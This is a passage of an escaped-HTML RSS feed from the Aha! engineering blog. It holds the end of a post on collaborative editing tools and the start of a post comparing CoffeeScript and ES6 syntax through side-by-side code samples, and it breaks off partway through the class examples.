If you want to build peer-to-peer collaboration that does not rely on a central server, take a look into conflict-free replicated data types (CRDTs). Same thing if you are just dealing with plain text — CRDTs tend to be great at that. CRDTs are newer collaboration methods that fit some specific kinds of text editors really well and they are getting even better.&lt;/p&gt;
&lt;p&gt;If you are using operational transformation and you do not want to write the server or control algorithm yourself, take a look at &lt;a href=&quot;https://github.com/share/sharedb&quot;&gt;ShareDB&lt;/a&gt;. If you want to check out CRDTs, &lt;a href=&quot;http://y-js.org/&quot;&gt;Y.js&lt;/a&gt;, &lt;a href=&quot;https://gun.eco/&quot;&gt;Gun&lt;/a&gt;, and &lt;a href=&quot;https://github.com/automerge/automerge&quot;&gt;Automerge&lt;/a&gt; are all really cool projects.&lt;/p&gt;
&lt;p&gt;Now, I love that we can do our &lt;a href=&quot;/company/careers&quot;&gt;jobs at Aha!&lt;/a&gt; remotely. Everyone on the team works from a home office — the entire company is fully distributed. And I love that remote work is becoming more and more popular.&lt;/p&gt;
&lt;p&gt;It also makes some things harder. It can be difficult to work together on a project. And the worst part is, when things become hard, those projects sometimes do not happen at all. I like being able to get a group together to accomplish something bigger than ourselves. But I do not want to be worried that making a small change is going to wreck your big thing.&lt;/p&gt;
&lt;p&gt;Collaborative editing is a magical experience. All of a sudden, this thing stops being just yours and it becomes ours.&lt;/p&gt;
&lt;p&gt;I am confident in making changes because my contributions will not conflict with yours. And I want that magic to be there, everywhere I go, even if I do not use it all the time. Because two people working on the same thing should make the it better, not worse.&lt;/p&gt;
&lt;p&gt;Ever since I joined the Aha! team, I have worked on some truly interesting projects. And I have only worked on a few of the many, many, many interesting projects we have going on at Aha!&lt;/p&gt;
&lt;p&gt;So you like solving cool problems for great customers and you want to work for a fast-growing, remote, and profitable software company? &lt;a href=&quot;/company/careers/current-openings?category=engineering&quot;&gt;We are hiring&lt;/a&gt; and I would love to collaborate with you.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Switching From CoffeeScript to ES6]]></title><description><![CDATA[Aha! is a Rails monolith. Although we have embraced front end technologies, such as webpack and React, Rails is the glue that holds…]]></description><link>https://www.aha.io/engineering/articles/how-i-convinced-cto-switch-coffeescript-es6</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/how-i-convinced-cto-switch-coffeescript-es6</guid><dc:creator><![CDATA[Zach Schneider]]></dc:creator><pubDate>Thu, 07 Sep 2017 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Aha! is a Rails monolith. Although we have embraced front end technologies, such as webpack and React, Rails is the glue that holds everything together. And like many Rails monoliths, CoffeeScript made up the bulk of our front end code. It was the obvious choice for us &lt;a href=&quot;/company/history&quot;&gt;when Aha! launched&lt;/a&gt; in 2013 — back when Rails 3 was stable and ES6 still lived in arcane specification documents.&lt;/p&gt;
&lt;p&gt;But times change and technologies change. Fast forward to 2017 and ES6 has exploded and become (at minimum) the lingua franca for modern JavaScript development. Meanwhile, CoffeeScript began to fade out and its ecosystem stagnated — many of its companion tools have been deprecated or abandoned.&lt;/p&gt;
&lt;p&gt;I still have a fond place in my heart for CoffeeScript. I have been writing it for years and it was a godsend in the world of pre-ES6 JavaScript. I am also convinced that ES6 lifted many of its best features directly out of CoffeeScript’s playbook. But honoring reality is essential to any engineering organization that wants to grow and expand, and the reality is that ES6 is on the rise and CoffeeScript is fading towards obscurity.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;/company/about&quot;&gt;Our team at Aha!&lt;/a&gt; had several discussions about when it would be right to switch from CoffeeScript to ES6. While some of our developers were excited to make the change, our CTO was cautious. And rightly so — it is his job to be cautious.&lt;/p&gt;
&lt;p&gt;Our existing code is fully functional and we have never had a feature that simply could not be written in CoffeeScript. Besides, all of our developers know how to write CoffeeScript. So there were some questions that kept popping up during our discussion.&lt;/p&gt;
&lt;p&gt;What if ES6 hurts our productivity? What if the toolchain is not as stable? What if another language is the new hotness a few years after we make the switch, only to be left behind again? The JavaScript world is notoriously fickle and these were valid concerns that needed to be overcome.&lt;/p&gt;
&lt;p&gt;But despite my fondness for CoffeeScript, it was clear to me that the time to change had arrived. To address our concerns and make the case for switching, I needed to lay out a full summary of ES6, how it compares to CoffeeScript, and the benefits and costs associated with making the change. I ended my summary with a proposal for how our team at Aha! might incrementally switch while minimizing risk in the process. Ultimately, I was successful. I presented the document at a team meeting and our CTO was on board with making the move.&lt;/p&gt;
&lt;p&gt;I know that we are not the only ones to face this dilemma. This is why I adapted the summary I created for our team into a technical blog post. Hopefully, it is useful from the perspective of a Rails team seeking to keep up with front end best practices.&lt;/p&gt;
&lt;p&gt;Of course, this post is not all-encompassing — ES6 is enormous and I wanted to focus on a particular set of factors that were most relevant for our team. Nevertheless, I hope it is useful for other folks in similar situations.&lt;/p&gt;
&lt;p&gt;This post is laid out into four main sections:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Language features&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Tooling&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Direction&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Approaching the switch&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;1. Language features&lt;/h2&gt;
&lt;p&gt;Nearly every major CoffeeScript feature has an ES6 analog. ES6 undeniably borrowed heavily from CoffeeScript’s language features and syntax. The two tend to feel very similar to me, as someone who learned CoffeeScript and then learned ES6. Yes, there are differences. No, I do not think it is a hard switch to make.&lt;/p&gt;
&lt;h3&gt;Var declaration&lt;/h3&gt;
&lt;p&gt;CoffeeScript does not require you to declare your variables. Just like Ruby, it implicitly declares them when they are used.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;CoffeeScript&lt;/em&gt;&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E36209&quot;&gt;myVar&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &apos;already here&apos;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;ES6 requires you to declare variables. A little more verbose, but nice because eslint can warn you when you are using an undeclared variable and catch your bugs (more on that later).&lt;/p&gt;
&lt;p&gt;ES6 has two variable declarations: &lt;code&gt;let&lt;/code&gt; and &lt;code&gt;const&lt;/code&gt;. &lt;code&gt;let&lt;/code&gt; is a variable you might want to reassign later, &lt;code&gt;const&lt;/code&gt; cannot be reassigned. Currently, they are both transpiled to &lt;code&gt;var&lt;/code&gt;, but once browsers catch up, there will be a performance boost for using &lt;code&gt;const&lt;/code&gt;. Using &lt;code&gt;const&lt;/code&gt; can also simplify the mental effort of programming. Since you know that variable will never be reassigned, you can rely on its value without having to hunt for mutations.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;ES6&lt;/em&gt;&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;let&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; myMutableVar &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &apos;something&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;myMutableVar &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &apos;something else&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; myImmutableVar&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &apos;something&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// this will error at eslint and/or transpilation&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;myImmutableVar &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &apos;something else&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Destructuring&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;CoffeeScript&lt;/em&gt;&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;} &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &apos;something&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &apos;something else&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; }&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;ES6&lt;/em&gt;&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;let&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; { a, b } &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; { a: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;something&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, b: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;something else&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; };&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Dynamic object keys&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;CoffeeScript&lt;/em&gt;&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E36209&quot;&gt;dynamicProperty&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &apos;foo&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E36209&quot;&gt;obj&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;#{dynamicProperty}&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &apos;bar&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;ES6&lt;/em&gt;&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;let&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; dynamicProperty &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &apos;foo&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;let&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; obj &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; { [dynamicProperty]: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;bar&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; };&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;String interpolation&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;CoffeeScript&lt;/em&gt;&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E36209&quot;&gt;myInterpolatedString&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;this string has a #{&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;}&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;ES6&lt;/em&gt;&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; myInterpolatedString&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; `this string has a ${&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Anonymous functions&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;CoffeeScript&lt;/em&gt;&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;.mything&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;).on &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;click&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, (e) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;-&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  e.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;preventDefault&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;ES6&lt;/em&gt;&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;.mything&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;on&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;click&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, (&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;e&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  e.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;preventDefault&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Default function arguments&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;CoffeeScript&lt;/em&gt;&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;myFunc&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (a &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &apos;a&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;-&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  a&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;ES6&lt;/em&gt;&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; myFunc&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &apos;a&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; a;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Classes&lt;/h3&gt;
&lt;p&gt;Class examples shown here were taken from &lt;a href=&quot;https://www.toptal.com/javascript/whats-new-in-es6-perspective-coffeescript&quot;&gt;this excellent post&lt;/a&gt; introducing ES6 class structure to developers with a CoffeeScript background.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;CoffeeScript&lt;/em&gt;&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; Animal&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  constructor&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (@numberOfLegs) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;-&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  toString&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; -&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;    &quot;I am an animal with #{&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;@numberOfLegs&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;} legs&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; Monkey&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; extends&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; Animal&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;   constructor&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (@numberOfBananas) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;-&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;     super&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;   toString&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; -&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E36209&quot;&gt;     superString&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; super&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;toString&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;       .&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;replace&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;an&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; animal&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;a monkey&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;     &quot;#{superString} and #{&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;@numberOfLegs&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;} bananas&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;ES6&lt;/em&gt;&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; Animal&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  constructor&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;numberOfLegs&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.numberOfLegs &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; numberOfLegs&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  toString&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; `I am an animal with ${&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;numberOfLegs&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;} legs`&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; Monkey&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; extends&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; Animal&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  constructor&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;bananas&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
